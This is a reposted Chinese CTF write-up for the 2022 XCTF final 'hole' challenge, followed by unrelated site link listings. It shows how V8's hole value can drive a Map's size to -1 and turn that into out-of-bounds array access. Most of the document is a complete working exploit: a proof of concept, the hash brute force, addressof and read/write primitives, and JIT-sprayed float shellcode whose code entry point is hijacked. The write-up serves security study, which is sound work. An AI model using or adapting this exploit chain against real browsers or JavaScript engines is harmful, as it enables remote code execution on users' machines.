2022xctf-final hole

2023-12-23 21:28
文章标签 final hole 2022xctf

本文主要是介绍2022xctf-final hole,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

这个题是做到的第一个利用hole和map来制造oob的题目,挺有意思的记录一下

首先根据题目给出的信息可知涉及到此漏洞
https://crbug.com/1263462

poc如下:

let theHole = %TheHole();
m = new Map();
m.set(1, 1);
m.set(theHole, 1);
m.delete(theHole);
m.delete(theHole);
m.delete(1); // -1
// %DebugPrint(m);
print(m.size);

这里的%TheHole只有开启了–allow-natives-syntax才可以使用,如果不能开的话还需要另一个漏洞来获取一个hole对象。

这里主要想记录如何利用hole和map来制造oob以及记录一下用立即数执行shellcode,所以就直接用那个函数来获取hole了。

首先需要了解map对象的结构,执行一下测试代码:

m = new Map();
m.set(1, 0x1234);
m.set(2, 2);
m.set(3, 3);
m.set("aaaa","bbbb");
%DebugPrint(m);
%SystemBreak();

内存中长这样
在这里插入图片描述

map中的每个key-value的存储单元是entry,实现如下

interface Entry {key: any;value: any;chain: number;
}

每个buckets相当于一个哈希桶,如果map里只有四个entry,则哈希桶的数量是2,然后entry中的chain相当于当发生哈希冲突的时候存储在同一个buckets里的下一个entry的index。elements里则是存储了每个具体的entry。

有关map的具体内存使用方式可以看这个,讲的很详细
https://itnext.io/v8-deep-dives-understanding-map-internals-45eb94a183df

现在手里有一个size为-1的map,则下一次进行set的时的entry会向上写,buckets和entry的机构可以参考这个图
在这里插入图片描述

这个图和上面的gdb内存图对应起来可以解释为

entry count就是job命令打印出来的elements:4,deleted count为deleted:0,bucket count对应为buckets:2,capacity是一个计算出的值,不会再内存中有具体存储,这三个值对应着一个map对象的header,接下来的hashtable对应着的是buckets字典。后面的elements字典对应的是datatable,结构单元是一个一个的entry。

所以当我们能够在-1的位置写一个entry,并且bucket的数量为2的时候,意味着我们可以把这个entry的key写到bucket count字段上去,修改了bucket count就意味着这个map对象的entry偏移变了,原本存储entry的地址被认为成了是bucket,所以再次进行set的时候会把entry放到更远的位置,造成越界写,如果越界写恰好改变了某个array的length,则造成了大范围的自由OOB,后续的思路就比较常规了。所以这个题主要难点在于能否找到并理解那个poc以及对map的内存结构是否熟知。

let theHole = %TheHole();
m = new Map();
m.set(1, 1);
m.set(theHole, 1);
m.delete(theHole);
m.delete(theHole);
m.delete(1); // -1
var oobarray=new Array(1.1,2.2);
m.set(0x10,1);
m.set(0x1001,0x4000);
%DebugPrint(oobarray);
%DebugPrint(m);
%SystemBreak();

通过修改bucket的数量为0x10,恰好可以使entry的value字段覆盖到array的length字段,但是这里写的时候要注意key是有限制的,必须在map自己的哈希过后对应的hashtable里值为-1

在这里插入图片描述

经过修改以后的map只有0和1的位置是-1,其他都是undefined,所以用的key需要爆破一下。

哈希代码的具体实现是

uint32_t ComputeUnseededHash(uint32_t key) {uint32_t hash = key;hash = ~hash + (hash << 15);hash = hash ^ (hash >> 12);hash = hash + (hash << 2);hash = hash ^ (hash >> 4);hash = hash * 2057;hash = hash ^ (hash >> 16);return hash & 0x3fffffff;
}

在这里插入图片描述

于是采用0x40a作为key,制造一个oobarray

pwndbg> job 0x14200042401
0x14200042401: [JSArray]- map: 0x014200203b01 <Map[16](PACKED_DOUBLE_ELEMENTS)> [FastProperties]- prototype: 0x0142001cb07d <JSArray[0]>- elements: 1034 [PACKED_DOUBLE_ELEMENTS]- length: 16384- properties: 0x014200002251 <FixedArray[0]>- All own properties (excluding elements): {0x14200006325: [String] in ReadOnlySpace: #length: 0x014200144255 <AccessorInfo name= 0x014200006325 <String[6]: #length>, data= 0x0142000023d9 <undefined>> (const accessor descriptor), location: descriptor}- elements: 1034 {}

可以看到array的长度已经被改大了,并且程序没有出现任何崩溃。

但是此时发现elements的地址被改成了一个不正常的数,最后set的key是直接使用的oobarray,才算真正解决了这个问题

后面就没什么需要解释的地方了。

var buf = new ArrayBuffer(0x8);
var dv = new DataView(buf);
var buf =new ArrayBuffer(16);
var float64 = new Float64Array(buf);
var bigUint64 = new BigUint64Array(buf);
function f2i(f)
{float64[0] = f;return bigUint64[0];
}
// 
function i2f(i)
{bigUint64[0] = i;return float64[0];
}
function p64(val) {dv.setUint32(0,val & 0xFFFFFFFF,true);dv.setUint32(0x4,val >> 32,true);var float_val = dv.getFloat64(0,true);return float_val;}function p64(low4,high4) {dv.setUint32(0,low4,true);dv.setUint32(0x4,high4,true);var float_val = dv.getFloat64(0,true);return float_val;}function u64(val){dv.setFloat64(0,val,true);return dv.getBigInt64(0,true)}function u64_l(val) {dv.setFloat64(0,val,true);return dv.getUint32(0,true);}function u64_h(val) {dv.setFloat64(0,val,true);return dv.getUint32(0x4,true);}
function hex(i)
{return i.toString(16).padStart(16, "0");
}
function gc() {for (let i = 0; i < 100; i++) {new ArrayBuffer(0x100000);}
}
function shellcode() {return [1.930800574428816e-246,1.9710610293119303e-246,1.9580046981136086e-246,1.9533830734556562e-246,1.961642575273437e-246,1.9399842868403466e-246,1.9627709291878714e-246,1.9711826272864685e-246,1.9954775598492772e-246,2.000505685241573e-246,1.9535148279508375e-246,1.9895153917617124e-246,1.9539853963090317e-246,1.9479373016495106e-246,1.97118242283721e-246,1.95323825426926e-246,1.99113905582155e-246,1.9940808572858186e-246,1.9537941682504095e-246,1.930800151635891e-246,1.932214185322047e-246];
}for (let i = 0; i < 0x40000; i++) {shellcode();
}
let theHole = %TheHole();
m = new Map();
m.set(1, 1);
m.set(theHole, 1);
m.delete(theHole);
m.delete(theHole);
m.delete(1); // -1
var oobarray=new Array(1.1,2.2);
m.set(0x10,1);
m.set(oobarray,0x4000);
var obj={'target':0x5678>>1};
var array_buf=[1.1,2.2];
var obj_idx=0;
for(let i=0;i<0x100;i++)
{let t=f2i(oobarray[i])>>32n;if(t==0x5678n){obj_idx=i;break;}
}
console.log("[*] obj_idx is 0x"+hex(obj_idx));
function addressof(object)
{obj.target=object;return f2i(oobarray[obj_idx])>>32n;
}
var ele_idx=obj_idx+8;
var tmp=f2i(oobarray[ele_idx])%0x100000000n;
var shell_addr=addressof(shellcode)-1n;
console.log("[*] shell_addr is 0x"+hex(shell_addr));
function weak_read(address)
{oobarray[ele_idx]=p64(Number(tmp),Number(address-0x8n+1n));return f2i(array_buf[0]);
}
function weak_write(address,value)
{oobarray[ele_idx]=p64(Number(tmp),Number(address-0x8n+1n));array_buf[0]=i2f(value);
}
var code_addr=weak_read(shell_addr+0x18n);
var code_entry_point=weak_read(code_addr-1n+0x10n);
weak_write(code_addr+0x10n-1n,code_entry_point+103n);
//%DebugPrint(oobarray);
console.log("[*] code_addr is 0x"+hex(code_addr));
console.log("[*] code_entry_point is 0x"+hex(code_entry_point));
%DebugPrint(obj);
//%DebugPrint(array_buf);
%DebugPrint(shellcode);
%SystemBreak();
shellcode();

这篇关于2022xctf-final hole的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/529510

相关文章

【HDU】3986 Harry Potter and the Final Battle 最短路

传送门:【HDU】3986 Harry Potter and the Final Battle 题目分析:先求一次最短路,同时记录在最短路上的顶点以及以该顶点为弧尾的最短路上的边。然后枚举删除每一条边,分别求一次最短路,其中最大的即答案。当然不可达输出-1。 测试发现堆优化的dij不如slf优化的spfa。。可能图太稀疏了吧。。。反正我觉得我写的挺搓的了。。。 代码如下:

JBoss AS 7.1.1.Final 安装

JBoss AS 7.1.1.Final下载地址:http://download.jboss.org/jbossas/7.1/jboss-as-7.1.1.Final/jboss-as-7.1.1.Final.zip localhost:9990/console 用户root 密码 1234 安装参考:http://my.oschina.net/thinker4self/blog/273527

final_封装_多态_servletJAVA043-047

来源:http://www.bjsxt.com/ 1、S01E043_01final修饰变量、方法和类 (1)修饰变量:常量; (2)修饰方法:该方法不可被子类重写,但可以被重载; (3)修饰类:修饰的类不能有子类,不能被继承。如:Math、String。 2、S01E044_01面向对象三大特性之一:封装/隐藏(encapsulation) (1)封装的作用:隐藏对象内部的复杂性,只

《从C/C++到Java入门指南》- 25.final 关键字

final 关键字 final 变量 final变量可以理解为C++中的const,变量一经定义无法修改。 public class Main {public static void main(String args[]) {final double PI = 3.1415926;System.out.println(PI);// PI = 3.14; // 尝试修改会报错}} fina

插件开发遇到的坑------final 型变量,编译过程被优化

android 插件开发遇到的坑 今天遇到一个坑,pdf 插件,调用了主工程的一个静态final 字符串,但是主工程里面已经没有这个字符串了,却没有崩溃。 后来同事说,因为字符串可能已经直接被写死了。你应该看下编译后的代码。我一同事,反编译apk 之后,发现,果然,因为provide 的jar 里面是有这个final 的字符串的,java 编译的时候,直接用死的值替换掉了。这样,

问:final关键字在JAVA中有哪些用法?

final关键字的问题在面试中很常见,深入理解其背后的机制确实能提升对Java语言特性的掌握程度。下面,代码示例来说明final的用法。 1. 被final修饰的类不可以被继承 final class FinalClass {// 类内容}// 错误示例:尝试继承FinalClass// class SubClass extends FinalClass {// } 2. 被fina

【再回顾面向对象】,关键字Satic、final

再回顾面对对象 object:所有类的祖先,所有类的方法 GC:垃圾回收站 一般不会回收对象——Car c = new Car(); toString() Hashchde要跟地址对应 尽量不要自己产生跟指针不一样,指针是直接指向地址像是数组的索引找的时候可能会有相同的hashcode,所以再加上equals比较哦**对象是如何存储的?**重点x如图: 指针是一把”双刃剑“。

Java中继承、final、抽象类

一、继承 1,概述       多个类存在相同的属性和行为时,将这些相同的内容抽取到单独一个类中,那么多个类无需在定义这些属性和行为,只要继承那个类即可。多个类可以成为子类,单独这个类可以称为子类或者超类。子类可以直接访问父类中非私有的属性和行为。 2,特点     A  Java只支持单继承,不支持多继承     B 父类有的,子类也有,而且子类可以改变(更改父类属性值、重写父类成员方

DESUtils 加解密时 Given final block not properly padded bug小记

事情的经过是这个样子的。。。。。。 先说说问题是怎么出现的。根据客户需求,需要完成一个一键登录的功能,于是我的项目中就诞生了DesUtil,但是经过上百次用户测试,发现有一个用户登录就一直报错!难道又遇到神坑啦!!发火 让我们先看看源代码,干货来了! package com.kwp.main.util.security;import java.io.IOException;import

2014 ACM-ICPC World Final Info board

现在是2014年6月26日00:07:21,同样也是2014年acm wf结束的当晚,几家欢喜几家愁,真的是不知道最近在干些什么就是懈怠了也木有以前那种干劲了,恩,这么说吧就是游戏玩起来了,暑假有时候是需要节制的否则这个暑假就这么浪费了有些可惜,着实是这么表示,而且2015年的亚洲区会在NEU举办,下面附张榜单,哎其他的就不说什么了,表示到了这个时候追悔莫及还是可以的只要不继续越陷越深就好了。缓步